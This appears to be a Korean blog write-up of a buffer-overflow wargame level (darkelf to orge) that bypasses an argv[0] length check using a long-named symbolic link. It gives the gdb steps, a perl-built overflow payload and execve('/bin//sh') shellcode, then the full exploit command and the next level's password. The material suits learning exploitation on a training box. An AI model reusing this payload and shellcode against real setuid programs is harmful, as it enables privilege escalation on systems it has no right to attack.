심심해서 하는 블로그 :: [버퍼 오버플로우] Bof 원정대 (darkelf -> orge)

1. 취약점


그 전의 문제와 똑같은데 중간에 argv[0]의 길이를 묻는 구문이 있다.

으잉??ㅋㅋ 파일 길이가 ./orge이면 6글자인데 77글자로 만들어라고요?? 파일 이름은 권한 문제로 바꾸지 못하니까 방법은.. 심볼릭 링크닷!! 심볼릭 링크는 쉽게 윈도우에서 바로가기와 똑같다. 


2. Exploit

1. bash2를 사용하고 orge.c 파일을 /tmp 폴더에 복사한 후 /tmp로 이동한다 

$ bash2

$ cp orge.c /tmp/orge.c && cd /tmp


2. gcc로 컴파일을 한다.  

$ gcc -g -o orge orge.c


3. 심볼릭 링크를 만들고 gdb로 디버깅을 시작한다.

$ ln -s ./orge 123456789012345678901234567890123456789012345678901234567890123

$ gdb -q /tmp//////////123456789012345678901234567890123456789012345678901234567890123



gdb에서 파일명으로 디버깅을 하면 자동으로 절대경로로 입력이 되는 것을 알 수 있다

/home/darkelf/는 14글자이므로 심볼릭 링크의 이름은 63자가 나오게끔 만든다.

그리고 gdb로 디버깅 할 때는 /tmp에서 하므로 길이를 맞춰주기위에 /tmp////////// 로 시작하여준다 


4. 어셈블리로 취약점이 있는 코드를 보자

(gdb) disas main



memset이후의 새로운 Return Address를 지정할 위치를 파악하기 위해 이 곳을 중담점으로 한다.


5. 중단점을 설정한 후 프로그램을 실행한다. 두 손은 무겁게 해서..

(gdb) b *main+313

(gdb) r `perl -e 'print "A"x 44, "\xbf"x4'` `perl -e 'print "\x90"x100, "B"x41'`

(gdb) x/150x $esp


Return Address는 0xbffffbac로 정했다



6. 쉘코드를 만들거나 웹에서 주어온다♥

\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80

 


7. 괴.. 괴롭혀 주겠다...

(gdb) q

$ cd ~

$ ln -s ./orge 123456789012345678901234567890123456789012345678901234567890123

/home/darkelf/123456789012345678901234567890123456789012345678901234567890123 `perl -e 'print "A"x44, "\xac\xfb\xff\xbf"'` `perl -e 'print "\x90"x100, "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`


8. 결과

   id : orge     passwd : timewalker

,